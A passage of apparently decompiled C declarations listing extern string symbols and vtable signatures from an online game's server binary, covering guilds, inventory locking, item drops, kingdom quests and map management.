aDirectdistance[]; // idb extern char aInvalidShinera[]; // idb extern char aDirectdistan_3[]; // idb extern char aDirectdistan_0[]; // idb extern char aFieldmapFm_iss[]; // idb extern char aRadianmovetr_1[]; // idb extern char aRadianmovetrac[]; // idb extern char aDropitemanalyz[]; // idb extern char aDroplocSamed_0[]; // idb extern char aDroplocSamed_2[]; // idb extern char aDroplocSamedis[]; // idb extern char aDroplocation_0[]; // idb extern char aDroplocation_1[]; // idb extern char aDroplocation_3[]; // idb extern char aDuplicatedmenu[]; // idb extern char aEquipenumchang[]; // idb extern char aEquipenumcha_3[]; // idb extern char aEquipenumcha_2[]; // idb extern char aEquipenumcha_4[]; // idb extern char aEquipenumcha_1[]; // idb extern int (__stdcall *VectorClass::VectorWithLength::_vftable_)(int newdist); // weak extern char aDSD[]; // idb extern char aMapload_txt[]; // idb extern int (__stdcall *AxialListNumberCount::_vftable_)(int, int, int distancesquar); // weak extern char aFm_initPpvpnoa[]; // idb extern char aFieldmapFm_r_1[]; // idb extern char aFieldmapFm_rel[]; // idb extern char aMaprearrangeob[]; // idb extern char aFieldmapFm_dis[]; // idb extern char aFieldmapFm_g_4[]; // idb extern char aFieldmapFm_g_1[]; // idb extern char aFieldmapFm_g_2[]; // idb extern char aFieldmapFm_fin[]; // idb extern char aFieldmapFm_get[]; // idb extern char aFieldmapFm_gui[]; // idb extern char aFieldmapFm_g_6[]; // idb extern char aFieldmapFm_set[]; // idb extern char aFieldmapFm_g_8[]; // idb extern char aFieldmapFm__10[]; // idb extern char aFieldmapFm_g_7[]; // idb extern char aFieldmapFm_i_2[]; // idb extern char aFieldcontain_4[]; // idb extern char aFieldcontai_14[]; // idb extern char aTooManyMap[]; // idb extern char aChecksumErro_3[]; // idb extern char aErrorInGuild_1[]; // idb extern char aErrorInGuildto[]; // idb extern char aGuildtournam_5[]; // idb extern char aFieldcontain_5[]; // idb extern char aSerial[]; // idb extern char aFieldcontain_1[]; // idb extern char aFieldcontai_12[]; // idb extern char aFieldcontain_8[]; // idb extern char aFieldlist[]; // idb extern char aFieldcontain_2[]; // idb extern char aChecksumErrorI[]; // idb extern char aFieldcontain_0[]; // idb extern char aErrorInInsta_0[]; // idb extern char aErrorInInsta_2[]; // idb extern char aErrorInInstanc[]; // idb extern char aInstancedung_1[]; // idb extern char aFieldcontain_6[]; // idb extern char aErrorInReadFie[]; // idb extern char a__9dataHeroW_7[]; // idb extern char a__9dataHero_16[]; // idb extern char aFieldcontain_7[]; // idb extern char aInvalidMapSetT[]; // idb extern char aFieldcontain_3[]; // idb extern char a__9dataHeroS_2[]; // idb extern char aFieldcontainer[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aFieldmapFm_cre[]; // idb extern char asc_640184[]; // idb extern char asc_6401B4[]; // idb extern char aSI64uFF[]; // idb extern char aCSU[]; // idb extern char aDD[]; // idb extern char aS04d02d02d02d_[]; // idb extern char aFunctionExecNu[]; // idb extern char aFunctionperfor[]; // idb extern int (__stdcall *GameDBSession::_vftable_)(int interval); // weak extern char aVarificationEr[]; // idb extern char aDDD[]; // idb extern char aGamedbsessi_37[]; // idb extern char aGamedbsessi_39[]; // idb extern char aGamedbsessi_38[]; // idb extern char aGamedbsessi_40[]; // idb extern char aWorldmanage_40[]; // idb extern char aGamedbsessi_41[]; // idb extern int (__stdcall *GameLogSession::_vftable_)(int interval); // weak extern char aGamelogsession[]; // idb extern char aGamelogsessi_6[]; // idb extern char aGamelogsessi_2[]; // idb extern char aGamelogsessi_1[]; // idb extern char aGamelogsessi_3[]; // idb extern int (__stdcall *AxialListNearScanNPC::_vftable_)(int, int, int distancesquar); // weak extern char aCharaterskil_4[]; // idb extern char aGatherproduc_2[]; // idb extern char a__9dataHeroGat[]; // idb extern char aGatherproduceG[]; // idb extern char aGatherproduc_3[]; // idb extern char aGatherproduc_0[]; // idb extern char a__9dataHeroPro[]; // idb extern char aGatherproduceR[]; // idb extern char aCharaterski_17[]; // idb extern char aCharaterski_35[]; // idb extern char asc_6406A0[]; // idb extern char asc_6406D0[]; // idb extern char asc_640700[]; // idb extern char asc_640748[]; // idb extern char asc_64079C[]; // idb extern char asc_6407D8[]; // idb extern char asc_640830[]; // idb extern char asc_640888[]; // idb extern char asc_6408D8[]; // idb extern char asc_64090C[]; // idb extern char aItemproducerIt[]; // idb extern char aItemproducer_6[]; // idb extern char asc_640988[]; // idb extern char aItemproducer_2[]; // idb extern char aItemproducerIp[]; // idb extern char aItemproducer_3[]; // idb extern char aItemproducer_0[]; // idb extern char aItemproducer_4[]; // idb extern char aGamedbsessi_42[]; // idb extern char asc_640AF0[]; // idb extern char asc_640B38[]; // idb extern char asc_640B7C[]; // idb extern char aGamedbsessi_44[]; // idb extern char aGamedbsessi_43[]; // idb extern char asc_640C08[]; // idb extern char asc_640C58[]; // idb extern char asc_640CAC[]; // idb extern char asc_640CE8[]; // idb extern char asc_640D28[]; // idb extern char asc_640D64[]; // idb extern char asc_640D98[]; // idb extern char asc_640DDC[]; // idb extern char aGamedbsessi_47[]; // idb extern char aGamedbsessi_46[]; // idb extern char aGamedbsessi_45[]; // idb extern char asc_640EA0[]; // idb extern char asc_640ED4[]; // idb extern char asc_640F10[]; // idb extern char asc_640F58[]; // idb extern char asc_640FA8[]; // idb extern char asc_640FF4[]; // idb extern char asc_641030[]; // idb extern char asc_641080[]; // idb extern char asc_6410D8[]; // idb extern char asc_641128[]; // idb extern char asc_641178[]; // idb extern char asc_6411D0[]; // idb extern char asc_641220[]; // idb extern char mobindex[]; // idb extern char asc_641278[]; // idb extern int (__stdcall *ShineGuildAcademyRewardStorageDeactive::_vftable_)(int, int nGuildNo); // weak extern char aShineguildac_2[]; // idb extern int (__stdcall *ShineGuildAcademyGuildBuff::_vftable_)(int, int nGuildNo); // weak extern char aShineguildac_3[]; // idb extern int (__stdcall *ShineGuildAcademyMasterBuff::_vftable_)(int, __int16 handle); // weak extern char asc_641320[]; // idb extern char aShineplayer_27[]; // idb extern char aShineplayer_39[81]; // weak extern char aShineplayer_20[75]; // weak extern char aShineplayer_45[73]; // weak extern char asc_6414C0[]; // idb extern char aWorldmanage_41[]; // idb extern char aWorldmanage_42[]; // idb extern char aWorldmanage_43[]; // idb extern char aWorldmanage_44[]; // idb extern char aWorldmanage_45[]; // idb extern char aWorldmanage_48[]; // idb extern char aWorldmanage_47[]; // idb extern char aWorldmanage_46[]; // idb extern char aGamedbsessi_48[]; // idb extern char aGamedbsessi_49[]; // idb extern char aGamedbsessi_50[]; // idb extern char aSp_nc_guild_ac[]; // idb extern char asc_641880[]; // idb extern char asc_6418D0[]; // idb extern char asc_641930[]; // idb extern int (__stdcall *ListSearchSame::_vftable_)(int ele, __int16 handle); // weak extern char asc_641980[]; // idb extern char asc_6419E0[]; // idb extern char asc_641A30[]; // idb extern char asc_641A80[]; // idb extern char asc_641AE0[]; // idb extern char asc_641B30[]; // idb extern char aSo_ply_guildac[]; // idb extern char asc_641BB8[]; // idb extern char asc_641C00[]; // idb extern char asc_641C68[]; // idb extern char asc_641CC0[]; // idb extern char asc_641D28[]; // idb extern char asc_641D80[]; // idb extern char aGuildacademy_1[]; // idb extern char aShineguildac_6[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char asc_641E98[]; // idb extern char asc_641EF0[]; // idb extern char aGuildacademy_8[]; // idb extern char aGuildacademy_5[]; // idb extern char aGuildacademy_6[]; // idb extern char aGuildacademy_0[]; // idb extern int (__stdcall *ShineGuildAcademyRewardStorageWithdraw::_vftable_)(int, __int16 GuildInven); // weak extern char aGuildacademy_2[]; // idb extern int (__stdcall *ShineGuildAcademyRewardStorageDeposit::_vftable_)(int, __int16 GuildInven); // weak extern char aGuildacademyre[]; // idb extern int (__stdcall *ShineGuildAcademyRewardStorageItemInfoZonRng::_vftable_)(int, __int16 handle); // weak extern int (__stdcall *ShineGuildAcademyRewardStorageRewardInfoZonRng::_vftable_)(unsigned int guild, __int16 GuildInven); // weak extern char aGuildacademy_4[]; // idb extern char aGuildacademy_9[]; // idb extern char aGuildacademy_3[]; // idb extern char aGarsm_rewardin[]; // idb extern char aShineguildac_4[]; // idb extern char aShineguildac_5[]; // idb extern char aShineguildac_0[]; // idb extern char aShineguildacad[]; // idb extern char aZonelistens_18[]; // idb extern char aZonelistens_14[]; // idb extern char asc_642400[]; // idb extern char asc_642448[]; // idb extern char asc_642498[]; // idb extern char asc_6424E8[67]; // weak extern char asc_64252C[]; // idb extern char asc_642568[]; // idb extern char asc_6425B0[]; // idb extern char asc_642600[]; // idb extern char asc_642650[67]; // weak extern char asc_642694[]; // idb extern char asc_6426CC[]; // idb extern char asc_642700[]; // idb extern char asc_642734[]; // idb extern char asc_642768[]; // idb extern char aGuildRenameN_1[]; // idb extern char aGuildRenameNul[]; // idb extern char asc_6427F0[]; // idb extern char asc_642830[]; // idb extern char aGuildRetypeN_1[]; // idb extern char aGuildRetypeNul[]; // idb extern char asc_6428B8[]; // idb extern char asc_6428F8[]; // idb extern int (__stdcall *ListIteratorDefault::_vftable_)(int ele, __int16 handle); // weak extern char aGuildstorageGu[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aShineobject_39[]; // idb extern char asc_6429C8[]; // idb extern char asc_642A10[]; // idb extern int (__stdcall *ShineGuildStorageWithdraw::_vftable_)(int, __int16 GuildInven); // weak extern char aGuildstorage_1[]; // idb extern char aZonelistense_2[]; // idb extern char aShineguildst_1[]; // idb extern char aShineguildstor[]; // idb extern char asc_642B18[82]; // weak extern char aGtentrymaperr1[]; // idb extern char aGtentrymaperr0[]; // idb extern char aShinemobMb_sen[]; // idb extern char asc_642BC0[]; // idb extern char asc_642C18[]; // idb extern char asc_642C70[]; // idb extern char asc_642CC8[]; // idb extern int (__stdcall *ShineGuildStorageDeactive::_vftable_)(int, __int16 handle); // weak extern char aShineguildst_2[]; // idb extern char aPineeventsc_45[]; // idb extern char aFieldmapFm_g_3[]; // idb extern char aFieldmapFm_g_9[]; // idb extern char aFieldmapFm_g_0[]; // idb extern char asc_642E1C[]; // idb extern char asc_642E50[]; // idb extern char asc_642E98[]; // idb extern char asc_642EE8[]; // idb extern char aWorldmanage_52[]; // idb extern char aWorldmanage_51[]; // idb extern char aWorldmanage_50[105]; // weak extern char aWorldmanage_49[]; // idb extern char aWorldmanage_53[]; // idb extern char asc_6430C8[]; // idb extern char aWorldmanage_54[]; // idb extern char asc_643168[]; // idb extern char aGamedbsessi_53[]; // idb extern char aGamedbsessi_52[]; // idb extern char aGamedbsessi_51[]; // idb extern char aWorldmanage_55[]; // idb extern char asc_6432C8[]; // idb extern char aShineobject_19[]; // idb extern char scriptname[]; // idb extern char aDDDD[]; // idb extern char aSDDDDDDDDSDDDS[]; // idb extern char aWorldmanager_0[]; // idb extern char aConstFieldopti[]; // idb extern char aWorldmanagerse[]; // idb extern char asc_6434C0[]; // idb extern char aWorldmanage_56[]; // idb extern char aWorldmanage_57[]; // idb extern char aWorldmanage_60[]; // idb extern char aWorldmanage_59[]; // idb extern char aWorldmanage_58[]; // idb extern char aPacketTooLong[]; // idb extern char aGuildtourament[]; // idb extern char aGuildtourame_1[]; // idb extern char asc_643700[]; // idb extern char asc_643760[]; // idb extern char asc_6437A8[]; // idb extern char asc_6437E8[]; // idb extern char aWorldmanage_61[]; // idb extern char aGuildt0407[]; // idb extern char aGuildt0406[]; // idb extern char aGuildt0405[]; // idb extern char aGuildt0404[]; // idb extern char aGuildt0403[]; // idb extern char aGuildt0402[]; // idb extern char aGuildt0401[]; // idb extern char aGuildt0400[]; // idb extern int (__thiscall *RoutionInterface::_vftable_)(void *p, char); // weak extern int (__thiscall *ScriptInterrupt::InterruptEventArgument::_vftable_)(void *p, char); // weak extern int (__stdcall *AxialListFlagCaptureCancel::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *ScriptInterrupt::InterruptEventWinGuild::_vftable_)(void *p, char); // weak extern int (__thiscall *DiceGame::_vftable_)(DiceGame *this, int nTick); // weak extern char aGuildtourmen_0[]; // idb extern char aGuildtournamen[]; // idb extern char aGuildtourna_25[]; // idb extern char aGuildtournam_2[]; // idb extern char aGuildtourmen_7[]; // idb extern char aVectorSize[]; // idb extern char aId_2[]; // idb extern char aGuildtourmen_3[]; // idb extern char aGuildtourmen_8[]; // idb extern char aId_3[]; // idb extern char aGuildtournam_9[]; // idb extern char aGuildSkillNotF[]; // idb extern char aGuildtourmen_2[]; // idb extern char aGuildtourna_24[]; // idb extern char aGuildtourmen_5[]; // idb extern char aGuildtourmen_1[]; // idb extern char aGuildtourme_10[]; // idb extern char aGuildtourna_22[]; // idb extern char aGuildtourna_23[]; // idb extern char aGuildtournam_1[]; // idb extern char aShineobject_87[]; // idb extern char aGuildtourna_20[]; // idb extern char aGuildtournam_8[]; // idb extern char aTemplog[]; // idb extern char aGuildtourna_28[]; // idb extern char aGuildtourna_12[]; // idb extern char aGuildtourna_15[]; // idb extern char aGuildtourments[]; // idb extern char aGuildtourme_11[]; // idb extern char aGuildtournam_0[]; // idb extern char aGuildtourmen_9[]; // idb extern char aGuildtourmen_4[]; // idb extern char aGuildtourna_18[]; // idb extern char aGuildtourna_26[]; // idb extern int (__thiscall *GuildTournamentSystem::_vftable_)(void *p, char); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *ListMaximumSearch::_vftable_)(int ele, __int16 handle); // weak extern char aHitmelistEne_1[]; // idb extern int (__thiscall *ScanEnemy4ExpDist::_vftable_)(ScanEnemy4ExpDist *this, int ele, __int16 handle); // weak extern char aScanenemy4expd[]; // idb extern char aScanenemy4ex_5[]; // idb extern char aScanenemy4ex_1[]; // idb extern char aScanenemy4ex_4[]; // idb extern char aScanenemy4ex_0[]; // idb extern char aScanenemy4ex_6[]; // idb extern char aLevelhandicap4[]; // idb extern int (__thiscall *ExperienceDistribute::_vftable_)(ExperienceDistribute *this, int ele, __int16 handle); // weak extern char aExperiencedi_0[]; // idb extern char aPartyexperienc[]; // idb extern char a__9dataHeroP_2[]; // idb extern char a__9dataHeroPar[]; // idb extern char a__9dataHeroP_1[]; // idb extern char aHitmelistEnemy[]; // idb extern char aHitmelistEne_2[]; // idb extern char aHitmelistEne_3[]; // idb extern char aScanenemy4ex_2[]; // idb extern char aNearfriendinfo[]; // idb extern char aExperiencedi_5[]; // idb extern char aExperiencedi_3[]; // idb extern char aExperiencedi_9[]; // idb extern char aExperiencedi_1[]; // idb extern char aExperiencedi_7[]; // idb extern char aExperiencedi_6[]; // idb extern char aExperiencedi_4[]; // idb extern char aExperiencedi_8[]; // idb extern char aExperiencedist[]; // idb extern char aWorldmanage_62[]; // idb extern char asc_6445B0[]; // idb extern char asc_6445E8[]; // idb extern char asc_644624[]; // idb extern char aHolypromisecen[]; // idb extern char aZonelistense_0[]; // idb extern char asc_6446D0[]; // idb extern char asc_644718[]; // idb extern char asc_644750[]; // idb extern char asc_6447A8[]; // idb extern char aGamedbsessi_54[]; // idb extern char asc_644830[]; // idb extern char asc_644880[]; // idb extern char asc_6448C0[]; // idb extern char asc_644920[]; // idb extern char aGamedbsessi_55[]; // idb extern char asc_6449AC[]; // idb extern char aNotCodingForRa[70]; // weak extern char aInvalidDungeon[70]; // weak extern char aNotCodingFor_1[71]; // weak extern char aInvalidDunge_1[71]; // weak extern int (__stdcall *KickPlayer::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *IsAnybody::_vftable_)(int, int, int distancesquar); // weak extern char aMapclusterm_12[]; // idb extern char aMapclusterma_5[]; // idb extern char aMapclusterna_2[]; // idb extern char aMapclusterna_6[]; // idb extern char aMapclusterna_7[]; // idb extern char aKickplayerAli_[]; // idb extern char aFieldmapFm_kic[]; // idb extern char aFieldmapFm_exi[]; // idb extern char aZonelistense_6[]; // idb extern char aId_deletenow[]; // idb extern char aYes[]; // idb extern char aNo_1[3]; // idb extern char asc_644CB0[]; // idb extern char aFieldcontain_9[]; // idb extern char aFieldcontai_13[]; // idb extern char aFieldcontai_10[]; // idb extern char aWorldmanage_63[]; // idb extern char aWorldmanage_65[]; // idb extern char aWorldmanage_64[]; // idb extern char aWorldmanage_67[]; // idb extern char aWorldmanage_66[]; // idb extern char aWholesaverWs_5[]; // idb extern int (__stdcall *FindExistDungeon::_vftable_[2])(int ele, __int16 handle); // weak extern int (__stdcall *DeleteDungeon::_vftable_)(int ele, __int16 handle); // weak extern char aMapclusterma_4[]; // idb extern char aMapclusterma_8[]; // idb extern char aMapclusterna_1[]; // idb extern char aNotFoundEtcL_1[]; // idb extern char aLimittimemes_1[]; // idb extern char aNotFoundEtcLim[]; // idb extern char aLimittimemessa[]; // idb extern char aDungeontimeout[]; // idb extern char aMapclusterm_10[]; // idb extern char aMapclustermana[]; // idb extern char aWorldmanage_68[]; // idb extern char aWorldmanage_69[]; // idb extern char aWorldmanager_1[]; // idb extern char aWorldmanage_70[]; // idb extern char aMapclusterma_6[]; // idb extern char aMapclusterma_0[]; // idb extern char aInstancedung_2[25]; // weak extern char aRecalldisablef[]; // idb extern char aCannotaddanymo[]; // idb extern char aLinktable[]; // idb extern char aLinktitle[]; // idb extern char aZonelistens_12[]; // idb extern int (__stdcall *InventoryLocking::InvenCellReleaser::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_CenChange::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_FameChange::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_CellClear::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_CellChange::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_CellChangeSmall::_vftable_)(int, int lc, char inchest); // weak extern int (__thiscall *InventoryLocking::InvenCellReleaser_GuildStorageClear::_vftable_)(InventoryLocking::InvenCellReleaser_CellClear *this, #593 *, int lc, char inchest); // weak extern int (__thiscall *InventoryLocking::InvenCellReleaser_GuildStorageChange::_vftable_)(InventoryLocking::InvenCellReleaser_CellChange *this, #593 *, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::_vftable_)(int flag, int lc, char inchest); // weak extern int (__thiscall *InventoryLocking::InvenCellReleaser_FurnitureReloc::_vftable_)(InventoryLocking::InvenCellReleaser_CellChange *this, #593 *, int lc, char inchest); // weak extern int (__thiscall *InventoryLocking::InvenCellReleaser_FurnitureCellClear::_vftable_)(InventoryLocking::InvenCellReleaser_CellClear *this, #593 *, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_EquipLocation::_vftable_)(#593 *pObj, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_ItemUse::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_PointStone::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_QuestReward::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InventoryCellLock::_vftable_[2])(int ele, __int16 handle); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_LinkInfo::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_CoinChange::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_UnEquipInfo::_vftable_)(int, int lc, char inchest); // weak extern char aInventorylo_61[]; // idb extern char aInventorylo_16[]; // idb extern char aInventorylo_30[]; // idb extern char aInventorylo_56[]; // idb extern char aInventorylo_40[]; // idb extern char aInventorylo_60[]; // idb extern char aInventorylo_10[]; // idb extern char aInventorylo_51[]; // idb extern char aInventorylo_58[]; // idb extern char aInventoryloc_2[]; // idb extern char aInventorylo_12[]; // idb extern char aInventorylo_15[]; // idb extern char aInventorylo_50[]; // idb extern int (__stdcall *InventoryLocking::InventoryCellLockList::_vftable_)(int type, int slot); // weak extern char aInventoryloc_3[]; // idb extern char aInventorylo_55[]; // idb extern char aInventorylo_35[]; // idb extern char aInventorylo_39[]; // idb extern char aInventoryloc_6[]; // idb extern char aInventorylo_57[]; // idb extern char aInventorylo_38[]; // idb extern char aInventorylo_46[]; // idb extern char aInventorylo_52[]; // idb extern char aInventorylo_45[]; // idb extern char aInventorylo_34[]; // idb extern char aInventorylo_22[]; // idb extern char aInventorylo_53[]; // idb extern char aInventorylo_37[]; // idb extern char aInventorylo_27[]; // idb extern char aInventorylo_28[]; // idb extern char aInventorylo_18[]; // idb extern char aInventorylo_59[]; // idb extern char aInventorylo_47[]; // idb extern char aInventorylo_11[]; // idb extern char aInventorylo_33[]; // idb extern char aInventorylo_26[]; // idb extern char aInventorylo_17[]; // idb extern char aInventorylo_20[]; // idb extern char aInventoryloc_4[]; // idb extern char aInventorylo_29[]; // idb extern char aInventorylo_19[]; // idb extern char aInventorylo_24[]; // idb extern char aItemlotanaly_1[]; // idb extern char aItemlotanalyse[]; // idb extern char aInventorylo_44[]; // idb extern char aInventorylo_43[]; // idb extern char aInventorylo_13[]; // idb extern char aInventoryloc_0[]; // idb extern char aInventorylo_42[]; // idb extern char aInventoryloc_1[]; // idb extern char aInventorylo_49[]; // idb extern char aInventorylo_21[]; // idb extern char aInventorylo_41[]; // idb extern char aInventorylo_31[]; // idb extern char aInventorylocki[]; // idb extern char asc_6464C8[]; // idb extern char aInvencellrel_4[]; // idb extern char aInventoryloc_9[]; // idb extern char aScrstring[]; // idb extern char aScript[]; // idb extern char aButtonok[]; // idb extern char aButtoncancel[]; // idb extern char asc_646618[]; // idb extern char asc_646654[]; // idb extern char asc_64668C[]; // idb extern char aGamedbsessi_56[]; // idb extern char aGamedbsessi_57[]; // idb extern char aServermenufu_1[]; // idb extern char aServermenufu_3[]; // idb extern char aServermenufu_6[]; // idb extern char aServermenuf_15[]; // idb extern char aItembreakwarn1[]; // idb extern char aServermenuf_12[]; // idb extern char aItemdropwarn[]; // idb extern char aItemdropperId_[]; // idb extern char aItembreakwarn0[]; // idb extern char aItembreakerI_0[]; // idb extern char aItemdropfrom_4[]; // idb extern char aItemdropfrom_3[]; // idb extern char aItemdropfro_11[]; // idb extern char aItemdropfrom_8[]; // idb extern char aItemdropfrom_5[]; // idb extern char aItemdropfrom_7[]; // idb extern char aItemdropfrom_1[]; // idb extern char aChecksumErro_1[]; // idb extern char aItemdropgroup[]; // idb extern char aDropitemmana_1[]; // idb extern char a__9dataHero_24[]; // idb extern char a__9dataHero_31[]; // idb extern char aChecksumErro_0[]; // idb extern char aItemgroup[]; // idb extern char aItemdropfro_10[]; // idb extern char aDropitemmanage[]; // idb extern char a__9dataHero_40[]; // idb extern char a__9dataHero_26[]; // idb extern char aCen[]; // idb extern char aItemdropfrom_9[]; // idb extern char aItemdropfrom_2[]; // idb extern char aItemdropfrommo[]; // idb extern char aItemdropfrom_0[]; // idb extern char aItemgroupcla_2[]; // idb extern char aItemgroupcla_4[]; // idb extern char aItemgroupclass[]; // idb extern char aItemgroupcla_7[48]; // weak extern char aItemgroupcla_3[]; // idb extern char aItemgroupcla_6[]; // idb extern char aItemgroupcla_8[]; // idb extern char aItemgroupcla_1[]; // idb extern char aLuafunctrigg_1[]; // idb extern char aLuafunctrigger[]; // idb extern char aLuafunctrigg_0[]; // idb extern char aTotallot[]; // idb extern char aMovelot[]; // idb extern char aTo1[]; // idb extern char aTo0[]; // idb extern char aFrom1[]; // idb extern char asc_646EA4[]; // idb extern char aFrom0[]; // idb extern char aAct[]; // idb extern char aItemlotinspect[]; // idb extern char aItemidNotMatch[]; // idb extern char asc_646EF0[]; // idb extern char aItemlotinspe_1[]; // idb extern char aTotalitemnumbe[]; // idb extern char asc_646F30[]; // idb extern MobTacticElement::MobActionArgument stru_646F38; // idb extern char aItemequiptable[]; // idb extern char aItemequiptab_3[]; // idb extern char aItemequiptab_2[]; // idb extern char flag[]; // idb extern char a__9dataHeroIte[]; // idb extern char a__9dataHero_43[]; // idb extern char aItemrandomop_1[]; // idb extern char aItemrandomop_0[]; // idb extern char aItemrandomo_11[]; // idb extern char aItemrandomop_3[]; // idb extern char aItemrandomop_6[]; // idb extern char aItemrandomop_5[]; // idb extern char aItemrandomo_10[]; // idb extern char aItemrandomo_12[]; // idb extern char aItemrandomop_7[]; // idb extern char aItemrandomop_4[]; // idb extern char aItemrandomop_2[]; // idb extern char a__9dataHeroR_1[]; // idb extern char aItemrandomop_9[]; // idb extern char aItemrandomopti[]; // idb extern char a__9dataHeroRan[]; // idb extern char aItemsinchestIi[]; // idb extern char aGamedbsessi_62[]; // idb extern char aGamedbsessi_61[65]; // weak extern char aGamedbsessi_60[]; // idb extern char aKingdomquest_3[]; // idb extern char aKingdomquesten[]; // idb extern int (__fastcall *KingdomQuestGate::KingdomQuestGateKeeper::_vftable_)(KingdomQuestGate::KingdomQuestGateKeeper *this); // weak extern char aKqentrymaperr1[]; // idb extern char aKqentrymaperr0[]; // idb extern int (__stdcall *KingdomQuest::KingdomQuestContainer::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aKingdomquest_5[]; // idb extern char aKingdomquestKi[]; // idb extern int (__stdcall *ListIteratorKingdomQuestMapFind::_vftable_)(int ele, __int16 handle); // weak extern char aListiteratorki[]; // idb extern char aKingdomquest_7[]; // idb extern int (__stdcall *AxialListObjectClear::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistobjec[]; // idb extern char aAxiallistobj_1[]; // idb extern char aAxiallistobj_5[]; // idb extern char aFieldmapFm_cle[]; // idb extern char asc_647A2C[]; // idb extern char asc_647A60[]; // idb extern char asc_647AA0[]; // idb extern char asc_647AD4[]; // idb extern char asc_647B0C[]; // idb extern char asc_647B44[]; // idb extern char asc_647B74[]; // idb extern char asc_647BA4[]; // idb extern char asc_647BD8[]; // idb extern char aKingdomquest_2[]; // idb extern char aKingdomquest_8[]; // idb extern char aKingdomquest_0[]; // idb extern char aKingdomquest_6[]; // idb extern char aIsInDead[]; // idb extern char aKingdomquest_1[]; // idb extern char asc_647D28[]; // idb extern char aIsInBooth[]; // idb extern char aKqentryincamp1[]; // idb extern char aKqentryincamp0[]; // idb extern char aKingdomques_10[]; // idb extern char aKingdomques_16[]; // idb extern char aKingdomques_13[]; // idb extern char aKingdomquestga[]; // idb extern char asc_647E34[]; // idb extern char aWorldmanage_73[]; // idb extern char aSuccess[]; // idb extern char aFailKqNotExist[]; // idb extern char aWorldmanage_72[]; // idb extern char aWms_nc_kq_w2z_[]; // idb extern char aWorldmanage_71[]; // idb extern char aKingdomques_14[]; // idb extern char aShineobject_24[]; // idb extern char aShineobject_23[]; // idb extern char aKingdomquest_9[]; // idb extern char aKingdomques_11[]; // idb extern char aKingdomques_15[]; // idb extern char asc_6480AC[]; // idb extern char aShineobject_21[]; // idb extern char aShineobject_20[]; // idb extern char aWorldmanage_74[]; // idb extern char aErr_kingdomq_0[]; // idb extern char aErr_kingdomq_2[]; // idb extern char aWorldmanage_80[]; // idb extern char aNotEmpty2[]; // idb extern char aNotFound2[]; // idb extern char aNotFound[]; // idb extern char aNotEmpty[]; // idb extern char aSubmapInUse[]; // idb extern char aWorldmanage_79[]; // idb extern char aErr_kingdomq_3[]; // idb extern char aWorldmanage_78[]; // idb extern char aErr_kingdomque[]; // idb extern char aWorldmanage_77[]; // idb extern char aTitle[]; // idb extern char aWorldmanage_76[]; // idb extern char aWorldmanage_75[]; // idb extern char aKingdomquestKq[]; // idb extern char asc_648404[]; // idb extern char aShineobject_22[]; // idb extern char aKqentrychecklo[]; // idb extern char aKdeddyhill00[]; // idb extern char aKqcontribute_0[]; // idb extern char aKqcontribute_4[]; // idb extern char aKqcontribute_2[]; // idb extern char aKqcontribute_5[]; // idb extern char aKqcontributeKq[]; // idb extern char aKqcontribute_3[]; // idb extern char a__9dataHeroKin[34]; // weak extern char a9dataHeroWorld[]; // idb extern char aCanattack[]; // idb extern char aSendmybrief[]; // idb extern char aSublayerSublay[]; // idb extern char aSublayerintera[]; // idb extern char a__9dataHero_48[]; // idb extern char a__9dataHeroW_5[]; // idb extern char aShineobject_75[]; // idb extern char asc_648748[]; // idb extern char asc_648798[]; // idb extern char asc_6487D4[]; // idb extern char aLinkto_1[7]; // weak extern char asc_648818[]; // idb extern char asc_648860[]; // idb extern char aWorldmanage_83[]; // idb extern char asc_6488D8[]; // idb extern char aWorldmanage_82[65]; // weak extern char aWorldmanage_81[]; // idb extern char aItemusefunct_5[]; // idb extern char aItemusefunct_3[]; // idb extern char aIm_divorce[]; // idb extern char aFire[]; // idb extern char aPropose_1[]; // idb extern char aNoeffect[]; // idb extern char aBossmobdetect[]; // idb extern char aMemoryfeather[]; // idb extern char aAmounthpmp[]; // idb extern char aAmountmp[]; // idb extern char aAmounthp[]; // idb extern char aLicenceclear[]; // idb extern char aStatclearempow[]; // idb extern char aStatclearstat[]; // idb extern char aUsesilverwings[]; // idb extern char aItemusefunct_4[]; // idb extern char aItemusefunct_2[]; // idb extern char aItemusefunctio[]; // idb extern char a__9dataHeroW_6[]; // idb extern char asc_648B18[]; // idb extern char aUD[]; // idb extern char aLD[]; // idb extern char aContent[]; // idb extern char 